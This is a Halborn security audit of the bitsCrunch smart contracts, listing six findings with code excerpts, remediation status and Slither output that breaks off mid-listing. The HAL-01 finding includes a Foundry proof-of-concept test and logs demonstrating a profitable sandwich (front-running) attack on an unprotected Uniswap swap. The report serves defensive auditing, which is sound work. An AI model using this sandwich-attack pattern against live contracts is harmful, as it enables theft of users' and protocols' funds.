// HALBORN

bitsCrunch - Protocol

Smart Contract Security Assessment

Prepared by: **Halborn**

Date of Engagement: **October 16th, 2023 - November 3rd, 2023**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE
0.1	Document Creation	11/01/2023
0.2	Document Updates	11/03/2023
0.3	Draft Review	11/03/2023
0.4	Draft Review	11/04/2023
1.0	Remediation Plan	11/13/2023
1.1	Remediation Plan Review	11/14/2023
1.2	Remediation Plan Review	11/14/2023

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

bitsCrunch engaged Halborn to conduct a security assessment on their smart contracts beginning on October 16th, 2023 and ending on November 3rd, 2023. The security assessment was scoped to the smart contracts provided to the Halborn team.

1.2 ASSESSMENT SUMMARY

The team at Halborn was provided three weeks for the engagement and assigned a full-time security engineer to verify the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues with the smart contracts.

In summary, Halborn identified some security risks that were mostly addressed by the bitsCrunch team.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions. (solgraph)
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Static Analysis of security for scoped contract, and imported functions. (Slither)
- Testnet deployment. (Foundry)

2. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

2.1 EXPLOITABILITY

Attack Origin (AO):

Captures whether the attack requires compromising a specific account.

Attack Cost (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

Attack Complexity (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

Metrics:

Exploitability Metric (m_E)	Metric Value	Numerical Value
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

2.2 IMPACT

Confidentiality (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

Integrity (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

Availability (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

Deposit (D):

Measures the impact to the deposits made to the contract by either users or owners.

Yield (Y):

Measures the impact to the yield generated by the contract for either users or owners.

Metrics:

Impact Metric (m_I)	Metric Value	Numerical Value
Confidentiality (C)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Integrity (I)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Availability (A)	None (A:N)	0
	Low (A:L)	0.25
	Medium (A:M)	0.5
	High (A:H)	0.75
	Critical	1
Deposit (D)	None (D:N)	0
	Low (D:L)	0.25
	Medium (D:M)	0.5
	High (D:H)	0.75
	Critical (D:C)	1
Yield (Y)	None (Y:N)	0
	Low (Y:L)	0.25
	Medium: (Y:M)	0.5
	High: (Y:H)	0.75
	Critical (Y:H)	1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

2.3 SEVERITY COEFFICIENT

Reversibility (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

Scope (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

Coefficient (C)	Coefficient Value	Numerical Value
Reversibility (r)	None (R:N) Partial (R:P) Full (R:F)	1 0.5 0.25
Scope (s)	Changed (S:C) Unchanged (S:U)	1.25 1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

Severity	Score Value Range
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

2.4 SCOPE

IN-SCOPE CODE & COMMITS:

- Repository: bitscrunch-protocol/smartcontracts
  - Commit ID: 903651081121334e2ac0f065668cefee79110bb6
  - Smart contracts **in scope**:
    - contracts/Bitscrunch/*
    - contracts/Epochs/*
    - contracts/GovernanceController/*
    - contracts/Operator/*
    - contracts/RewardManager/*
    - contracts/Staking/*
    - contracts/Token/*
    - contracts/Utils/*

OUT-OF-SCOPE:

- Economical attacks.
- Third-party libraries and dependencies.

REMEDIATION COMMIT ID :

- fcf43995a8ecf77586e3814914483469ab6b0f37

3. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
0	1	0	1	4

EXECUTIVE OVERVIEW

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
(HAL-01) LOSS OF FUNDS FROM PROTOCOL WHEN SWAPPING STABLECOIN FOR BCUT TOKENS	High (7.5)	SOLVED - 11/13/2023
(HAL-02) BROKEN SCHEME FUNCTIONALITY DUE TO A POTENTIAL DOS	Low (2.0)	RISK ACCEPTED
(HAL-03) 2-STEP TRANSFER OWNERSHIP MISSING	Informational (1.0)	SOLVED - 11/13/2023
(HAL-04) USE OF CUSTOM ERRORS MISSING	Informational (1.0)	SOLVED - 11/13/2023
(HAL-05) INCONSISTENCY BETWEEN FILE NAME AND CONTRACT NAME	Informational (1.0)	SOLVED - 11/13/2023
(HAL-06) CACHING LENGTH IN FOR LOOPS	Informational (0.0)	SOLVED - 11/13/2023

FINDINGS & TECH DETAILS

4.1 (HAL-01) LOSS OF FUNDS FROM PROTOCOL WHEN SWAPPING STABLECOIN FOR BCUT TOKENS - HIGH (7.5)

Description:

Within the swapStableToBCUT() function, when the admin is swapping USDC tokens for BCUT tokens by using Polygon Uniswap exchange, the execution of the swap is done by calling the _swapExactInputSingle(address(_stableCoin), address(bcutToken_), toBcut, 1); always specifying the amountOutMinimum as 1 (no matter the amount we are swapping). This can be seen in the _swapExactInputSingle internal function. This makes the function vulnerable to slippage manipulation attacks. An attacker can perform a sandwich attack on the admin swap transaction, making the Bitscrunch contract to receive only a very few amounts of BCUT tokens in return.

Code Location:

Listing 1: Payments.sol (Line 95)

```
85 function swapStableToBCUT(IERC20Upgradeable _stableCoin) external
↳ onlyManager nonReentrant{
86
87     require(coins_[_stableCoin].active, "Pay:ERR1");
88
89     uint currentEpoch = epochManager_.currentEpoch();
90     uint256 toSwap = coins_[_stableCoin].billedBalance;
91
92     require(toSwap > 0, "Pay:ERR2");
93     //VULN high slippage manipulation in uniswap pool
94     uint256 toBcut = _getShareAmount(toSwap, shares_.bcut);
95     uint256 bcutReceived = _swapExactInputSingle(address(
↳ _stableCoin), address(bcutToken_), toBcut, 1);
96     uint256 stableCoinLeft = toSwap - toBcut;
97     uint256 toTreasury = _getShareAmount(stableCoinLeft, shares_.
↳ treasury);
98
```

```
99      balances_.treasury[address(_stableCoin)] += toTreasury;
100
101     balances_.coinBalance[currentEpoch][address(bcutToken_)] +=
 ↳ bcutReceived;
102     balances_.coinBalance[currentEpoch][address(_stableCoin)] += (
 ↳ stableCoinLeft - toTreasury);
103
104     claimable_[address(this)][address(bcutToken_)].balance +=
 ↳ bcutReceived;
105     claimable_[address(this)][address(_stableCoin)].balance += (
 ↳ stableCoinLeft - toTreasury);
106
107     coins_[_stableCoin].billedBalance = 0;
108
109     emit Swapped(
110         address(_stableCoin),
111         address(bcutToken_),
112         toBcut,
113         bcutReceived
114     );
115 }
```

Listing 2: Swap.sol (Line 50)

```
37 function _swapExactInputSingle(address token0, address token1,
 ↳ uint256 amountIn, uint256 amountOutMinimum)
38      internal returns (uint256 amountOut) {
39
40     TransferHelper.safeApprove(token0, address(swapRouter),
 ↳ amountIn);
41
42     ISwapRouter.ExactInputSingleParams memory params =
43         ISwapRouter.ExactInputSingleParams({
44             tokenIn: token0,
45             tokenOut: token1,
46             fee: poolFee,
47             recipient: address(this),
48             deadline: block.timestamp,
49             amountIn: amountIn,
50             amountOutMinimum: amountOutMinimum,
51             sqrtPriceLimitX96: 0
52         });
53     amountOut = swapRouter.exactInputSingle(params);
54 }
```

Proof of Concept:

1. The attacker sees the bitsCrunch swap transaction in the mempool.
2. The attacker front runs the transaction by swapping a significant amount of USDC tokens for BCUT tokens.
3. The price of BCUT increased considerably.
4. bitsCrunch swaps USDC tokens for BCUT tokens at a higher price.
5. bitsCrunch receives very few BCUT tokens compared to what they should have received.
6. The attacker does the opposite transaction, swapping BCUT tokens for USDC tokens and also taking profit.

Listing 3: PoC.sol

```
function testPOC_001() public {
    swapSetup();

    logsInitialState();
    uint256 amountOut = swapBitscrunch(bcutAddr, usdcAddr, 1e18);
    console.log("BCUT PRICE ------------------> ", amountOut);
    swap(usdcAddr, bcutAddr, amountOut, owner);

    logsExpectedOutput();
    uint256 bcutExpected = swapBitscrunch(usdcAddr, bcutAddr, 100
↳ _000e6);
    console.log("BCUT EXPECTED ---------------> ", bcutExpected);
    swap(bcutAddr, usdcAddr, bcutExpected, owner);

    // STEP 1
    logsPoc();
    uint256 attackAmount = 1_000_000e6;
    uint256 bobbyAmountOut = swap(usdcAddr, bcutAddr, attackAmount
↳ , bobby);
    console.log("AMOUNT OUT ------------------> ", bobbyAmountOut)
↳ ;

    // STEP 2
    console.log("");
    console.log("###########     STEP 2: BITSCRUNCH SWAP
```

```
↳ ############");
22      console.log(
23          "Owner: TX --> out = bitscrunchFactory.
↳ _swapExactInputSingle(usdcAddr, bcutAddr, 100_000e6, 1)"
24      );
25      uint256 bcutActuallyGet = swapBitscrunch(usdcAddr, bcutAddr,
↳ 100_000e6);
26      console.log("BCUT ACTUALLY GETTING -------> ", bcutActuallyGet
↳ );
27      uint256 loose = bcutExpected - bcutActuallyGet;
28      console.log("LOOSE (EXPECTED - ACTUAL) ---> ", loose);
29
30      // STEP 3
31      console.log("");
32      console.log("############     STEP 3: BOBBY PROFITS
↳ ############");
33      console.log(
34          "BOBBY: TX --> out = swap(usdcAddr, bcutAddr,
↳ bobbyAmountOut(from previous swap))"
35      );
36      bobbyAmountOut = swap(bcutAddr, usdcAddr, bobbyAmountOut,
↳ bobby);
37      uint256 profits = bobbyAmountOut - attackAmount;
38
39      console.log("PROFITS ---------------------> ", profits);
40
41      uint256 bitscrunchLossPercent = (bcutExpected * 10000) /
42          bcutActuallyGet;
43      uint256 attackerProfitPercent = (bobbyAmountOut * 10000) /
↳ attackAmount;
44
45      console.log("");
46      console.log("");
47      console.log("
↳ ##################################################");
48      console.log("################     POC SUMMARY
↳ ##################");
49      console.log("
↳ ##################################################");
50      console.log("");
51      console.log("BITSCRUNCH EXPECTED BCUT ---> ", bcutExpected);
52      console.log("BITSCRUNCH ACTUAL BCUT -----> ", bcutActuallyGet)
↳ ;
53      console.log("ATACKER USDC BEFORE --------> ", attackAmount);
```

```
54      console.log("ATACKER USDC AFTER  --------> ", bobbyAmountOut);
55  }
```

```
Logs:
  ##########################################################
  #############     BCUT INITIAL STATE     ##############
  ##########################################################

  BCUT PRICE ------------------->  1775918725


  ##########################################################
  #######     SWAP BITSCRUNCH EXPECTED OUTPUT     #######
  ##########################################################

  Owner of the protocol wants to exchange 100_000 USDCs
  TX --> _swapExactInputSingle(usdcAddr, bcutAddr, 100_000e6, 1)
  BCUT EXPECTED ---------------->  55114732794568813920


  ##########################################################
  ##########     POC - PRICE MANIPULATION     ##########
  ##########################################################

  ----------------------------------------------------------
  Description: An attacker could perform a price manipulation attack front running the TX with
  a swap to the same direction, leaving the price higher for the Bitscrunch contract and sandwiching
  the Bitscrunch TX performing the opposite swap after it, taking the profits while making Bitscrunch lose money
  ----------------------------------------------------------

  ##########     STEP 1: TX FRONTRUNNING      ##########
  Bobby: TX --> swap(usdcAddr, bcutAddr, 1_000_000e6)
  AMOUNT OUT ------------------->  225574811218277553155

  ###########     STEP 2: BITSCRUNCH SWAP     ###########
  Owner: TX --> out = bitscrunchFactory._swapExactInputSingle(usdcAddr, bcutAddr, 100_000e6, 1)
  BCUT ACTUALLY GETTING ------->  51160790440849
  LOOSE (EXPECTED - ACTUAL) --->  55114681633778373071

  ###########     STEP 3: BOBBY PROFITS       ###########
  BOBBY: TX --> out = swap(usdcAddr, bcutAddr, bobbyAmountOut(from previous swap))
  PROFITS --------------------->  95493834795


  ##########################################################
  ################     POC SUMMARY     ###################
  ##########################################################

  BITSCRUNCH EXPECTED BCUT --->  55114732794568813920
  BITSCRUNCH ACTUAL BCUT ------>  51160790440849
  ATACKER USDC BEFORE -------->  1000000000000
  ATACKER USDC AFTER  -------->  1095493834795
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:H/R:N/S:U (7.5)

Recommendation:

To solve this issue, calculating the amountOutMinimum of the swap that will be executed by doing it off-chain and using an oracle is recommended. Then use the amount previously calculated to execute the transaction on-chain.

Remediation Plan:

SOLVED: The bitsCrunch team solved the issue with the following commit id.

Commit ID: fcf43995a8ecf77586e3814914483469ab6b0f37

4.2 (HAL-02) BROKEN SCHEME FUNCTIONALITY DUE TO A POTENTIAL DOS - LOW (2.0)

Description:

The owner of the protocol can create new schemes within the protocol for users to be able to use. There is no maximum amount of schemes that can be created. Thus, over time, or maliciously, the owner can create many schemes that would result in a denial of service due to reaching out of gas transaction, every time the owner needs to create a new one or update an existing one. Both functions (addScheme() and updateSchemeStatus()) call _isSchemeExists() to check if the scheme already exists, but this internal function iterates through the entire list of previously created schemes, consuming a lot of gas.

Code Location:

Listing 4: Staking.sol (Line 105)

```
103 function addScheme(uint256 _discount, uint256 _stakeAmount)
 ↳ external onlyOwner {
104     require((_discount>0 && _stakeAmount>0),"CS:ERR1");
105     require(!_isSchemeExists(_discount, _stakeAmount),"CS:ERR2");
106
107     schemeId_.increment();
108     uint256 id = schemeId_.current();
109     discountSchemes_[id] = Scheme(_discount, _stakeAmount,true);
110
111     emit SchemeAdded(id, _discount, _stakeAmount);
112
113 }
```

Listing 5: Staking.sol (Line 137)

```
133 function updateSchemeStatus(uint256 _schemeId, bool _status)
 ↳ external onlyOwner {
```

```
134     if(_status){
135         require((_schemeId>0 && _schemeId<=schemeId_.current()),"
 ↳ CS:ERR3");
136         require(!discountSchemes_[_schemeId].active,"CS:ERR4");
137         require(!_isSchemeExists(
138                 discountSchemes_[_schemeId].discountPercent,
139                 discountSchemes_[_schemeId].stakeAmount),
140                 "CS:ERR2");
141 
142         discountSchemes_[_schemeId].active = true;
143     }
144     else{
145         require((_schemeId>0 && _schemeId<=schemeId_.current()),"
 ↳ CS:ERR3");
146         require(discountSchemes_[_schemeId].active,"CS:ERR5");
147 
148         discountSchemes_[_schemeId].active = false;
149     }
150 
151     emit SchemeUpdated(_schemeId, _status);
152 }
```

Listing 6: Staking.sol (Line 241)

```
238 function _isSchemeExists(uint256 _discount, uint256 _stakeAmount)
 ↳ private view returns(bool){
239     bool status = false;
240     if(schemeId_.current()>0){
241         for(uint256 i=1; i<= schemeId_.current(); i++){
242             if(discountSchemes_[i].active &&
243                 ((discountSchemes_[i].discountPercent == _discount
 ↳ )||
244                 (discountSchemes_[i].stakeAmount == _stakeAmount))
 ↳ )
245                     {
246                         status = true;
247                         break;
248                     }
249         }
250     }
251     return status;
252 }
```

BVSS:

AO:S/AC:L/AX:L/C:N/I:N/A:C/D:N/Y:N/R:N/S:U (2.0)

Recommendation:

To avoid this type of issue, setting a cap for the amount of created schemes within the protocol is recommended.

Remediation Plan:

RISK ACCEPTED: The bitsCrunch team accepted the risk of the finding.

4.3 (HAL-03) 2-STEP TRANSFER OWNERSHIP MISSING - INFORMATIONAL (1.0)

Description:

The code does not implement a two-step ownership transfer pattern. This practice is recommended when admin users have heavy responsibilities, such as the ability to mint tokens, freeze or unfreeze user accounts and set system configurations. It may happen that when transferring ownership of a contract, an error is made in the address. If the request were submitted, the contract would be lost forever. With this pattern, contract owners can submit a transfer request; however, this is not final until accepted by the new owner. If they realize they have made a mistake, they can stop it at any time before accepting it by calling `cancelRequest`.

Code Location:

Listing 7: Controller.sol (Line 41)

```
39 function transferOwnership(address newOwner) public onlyOwner {
40     _setupRole(DEFAULT_ADMIN_ROLE, newOwner);
41     renounceRole(DEFAULT_ADMIN_ROLE, _msgSender());
42 }
```

BVSS:

AO:S/AC:L/AX:L/C:N/I:N/A:C/D:N/Y:N/R:P/S:U (1.0)

Recommendation:

It is recommended to implement a two-step process where the owner nominates an account, and the nominated account needs to call an `acceptOwnership()` function for the transfer of the ownership to succeed fully. This ensures the nominated EOA account is valid and active.

Remediation Plan:

SOLVED: The bitsCrunch team solved the issue with the following commit id.

Commit ID: fcf43995a8ecf77586e3814914483469ab6b0f37

4.4 (HAL-04) USE OF CUSTOM ERRORS MISSING - INFORMATIONAL (1.0)

Description:

Failed operations in this contract are reverted with an accompanying message selected from a set of hard-coded strings.

In EVM, emitting a hard-coded string in an error message costs ~50 more gas than emitting a custom error. Additionally, hard-coded strings increase the gas required to deploy the contract.

Code Location:

Listing 8: TokenUtils.sol (Line 20)

```
14 function pullTokens(
15     IERC20Upgradeable _token,
16     address _from,
17     uint256 _amount
18 ) internal {
19     if (_amount > 0) {
20         require(_token.transferFrom(_from, address(this), _amount)
↳ , "Tokens: Couldn't transfer");
21     }
22 }
```

BVSS:

AO:S/AC:L/AX:L/C:N/I:N/A:C/D:N/Y:N/R:P/S:U (1.0)

Recommendation:

Custom errors are available from Solidity version 0.8.4 up. Consider replacing all revert strings with custom errors. Usage of custom errors should look like this:

Listing 9

```
error CustomError();

// ...

if (condition)
    revert CustomError();
```

Remediation Plan:

SOLVED: The bitsCrunch team solved the issue with the following commit id.

Commit ID: fcf43995a8ecf77586e3814914483469ab6b0f37

4.5 (HAL-05) INCONSISTENCY BETWEEN FILE NAME AND CONTRACT NAME - INFORMATIONAL (1.0)

Description:

The file name and the contract name within the Solidity file are inconsistent. This can lead to confusion and potential errors when trying to interact with or deploy the contract. In Solidity, it is a best practice to keep the contract name and the file name the same for clarity and ease of management.

Code Location:

Listing 10: Staking.sol

```
16 contract CustomerStaking is Billing {
```

BVSS:

AO:S/AC:L/AX:L/C:N/I:N/A:C/D:N/Y:N/R:P/S:U (1.0)

Recommendation:

This is just an example within the code, but many other contracts have the same issue. We strongly recommend renaming either the file or the contract so that they match. If the contract name is `CustomerStaking`, then the file name should ideally be `CustomerStaking.sol`.

Remediation Plan:

SOLVED: The bitsCrunch team solved the issue with the following commit id.

Commit ID: fcf43995a8ecf77586e3814914483469ab6b0f37

4.6 (HAL-06) CACHING LENGTH IN FOR LOOPS - INFORMATIONAL (0.0)

Description:

In a for loop, the length of an array can be put in a temporary variable to save some gas. This has been done already in several other locations in the code.

In the above case, the solidity compiler will always read the length of the array during each iteration. That is,

- if it is a storage array, this is an extra sload operation (100 additional extra gas (EIP-2929) for each iteration except for the first),
- if it is a memory array, this is an extra mload operation (3 additional gas for each iteration except for the first),
- if it is a calldata array, this is an extra calldataload operation (3 additional gas for each iteration except for the first)

Code Location:

Listing 11: Staking.sol (Line 241)

```
238 function _isSchemeExists(uint256 _discount, uint256 _stakeAmount)
 ↳ private view returns(bool){
239     bool status = false;
240     if(schemeId_.current()>0){
241         for(uint256 i=1; i<= schemeId_.current(); i++){
242             if(discountSchemes_[i].active &&
243                 ((discountSchemes_[i].discountPercent == _discount
 ↳ )||
244                 (discountSchemes_[i].stakeAmount == _stakeAmount))
 ↳ )
245                     {
246                         status = true;
247                         break;
248                     }
```

```
249             }
250         }
251         return status;
252 }
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:F/S:C (0.0)

Recommendation:

In a for loop, store the length of an array or the current counter in a temporary variable.

Remediation Plan:

SOLVED: The bitsCrunch team solved the issue with the following commit id.

Commit ID: fcf43995a8ecf77586e3814914483469ab6b0f37

AUTOMATED TESTING

5.1 STATIC ANALYSIS REPORT

Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified the smart contracts in the repository and was able to compile them correctly into their ABIs and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

Results:

contracts/Bitscrunch/*

```
INFO:Detectors:
TokenUtils.pullTokens(IERC20Upgradeable,address,uint256) (src/Utils/TokenUtils.sol#14-22) uses arbitrary from in transferFrom: require(bool,string)(_token.transferFrom(_from,address(this),_amount),Tokens: Couldn't
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#arbitrary-from-in-transferfrom
INFO:Detectors:
GovernanceController.__gap (src/GovernanceController/Governance/Controller.sol#23) shadows:
        - ReentrancyGuardUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol#88)
        - AccessControlUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/access/AccessControlUpgradeable.sol#268)
        - ERC165Upgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165Upgradeable.sol#41)
        - ContextUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#36)
        - UUPSUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol#111)
        - ERC1967UpgradeUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#169)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variable-shadowing
INFO:Detectors:
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse = (3 * denominator) ^ 2 (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#116)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse += 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#120)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse += 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#121)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse += 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#122)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse += 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#123)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse += 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#124)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse += 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#125)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - prod0 = prod0 / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#104)
        - result = prod0 * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#131)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detectors:
EpochManager.isCurrentEpochRun() (src/Epochs/EpochManager.sol#87-89) uses a dangerous strict equality:
        - lastRunEpoch == currentEpoch() (src/Epochs/EpochManager.sol#88)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities
INFO:Detectors:
Reentrancy in Payments.claimTokens(IERC20Upgradeable) (src/Bitscrunch/Payments/Payments.sol#121-134):
        External calls:
        - TokenUtils.pushTokens(_tokenAddress,msg.sender,claimableAmount) (src/Bitscrunch/Payments/Payments.sol#128)
        State variables written after the call(s):
        - claimable_[msg.sender][address(_tokenAddress)].totalClaimed += claimableAmount (src/Bitscrunch/Payments/Payments.sol#130)
        PaymentsV1Storage.claimable_ (src/Bitscrunch/Payments/Storage.sol#42) can be used in cross function reentrancies:
        - Payments.getClaimableInfo(address,address) (src/Bitscrunch/Payments/Payments.sol#214-228)
        - claimable_[msg.sender][address(_tokenAddress)].balance = 0 (src/Bitscrunch/Payments/Payments.sol#131)
        PaymentsV1Storage.claimable_ (src/Bitscrunch/Payments/Storage.sol#42) can be used in cross function reentrancies:
        - Payments.getClaimableInfo(address,address) (src/Bitscrunch/Payments/Payments.sol#214-228)
Reentrancy in Payments.swapStableToBCUT(IERC20Upgradeable) (src/Bitscrunch/Payments/Payments.sol#85-115):
        External calls:
        - bcutReceived = _swapExactInputSingle(address(_stableCoin),address(bcutToken_),toBcut,1) (src/Bitscrunch/Payments/Payments.sol#95)
                - TransferHelper.safeApprove(token0,address(swapRouter),amountIn) (src/Bitscrunch/Swapping/Swap.sol#42)
                - (success,data) = token.call(abi.encodeWithSelector(IERC20.approve.selector,to,value)) (lib/v3-periphery/contracts/libraries/TransferHelper.sol#48)
                - amountOut = swapRouter.exactInputSingle(params) (src/Bitscrunch/Swapping/Swap.sol#59)
        State variables written after the call(s):
        - coins_[_stableCoin].billedBalance = 0 (src/Bitscrunch/Payments/Payments.sol#107)
        CoinV1Storage.coins_ (src/Bitscrunch/Coin/Storage.sol#27) can be used in cross function reentrancies:
        - Customer.createAccount(address,uint256,IERC20Upgradeable,string) (src/Bitscrunch/Customer/Customer.sol#47-57)
        - CoinManagement.getCoinInfo(IERC20Upgradeable) (src/Bitscrunch/Coin/CoinManagement.sol#48-53)
        - CoinManagement.setCoinStatus(IERC20Upgradeable,bool) (src/Bitscrunch/Coin/CoinManagement.sol#28-39)
Reentrancy in CustomerStaking.switchScheme(uint256,uint256) (src/Bitscrunch/Customer/Staking.sol#159-190):
        External calls:
        - TokenUtils.pushTokens(bcutToken_,_user,amountToSendBack) (src/Bitscrunch/Customer/Staking.sol#175)
        - TokenUtils.pullTokens(bcutToken_,_user,toStakeAmount) (src/Bitscrunch/Customer/Staking.sol#178)
        - TokenUtils.pullTokens(bcutToken_,_user,amountToStake) (src/Bitscrunch/Customer/Staking.sol#182)
        State variables written after the call(s):
        - userAccounts_[_accountId].discountScheme = _schemeId (src/Bitscrunch/Customer/Staking.sol#186)
```

contracts/Epochs/*

```
INFO:Detectors:
EpochManager.isCurrentEpochRun() (src/Epochs/EpochManager.sol#87-89) uses a dangerous strict equality:
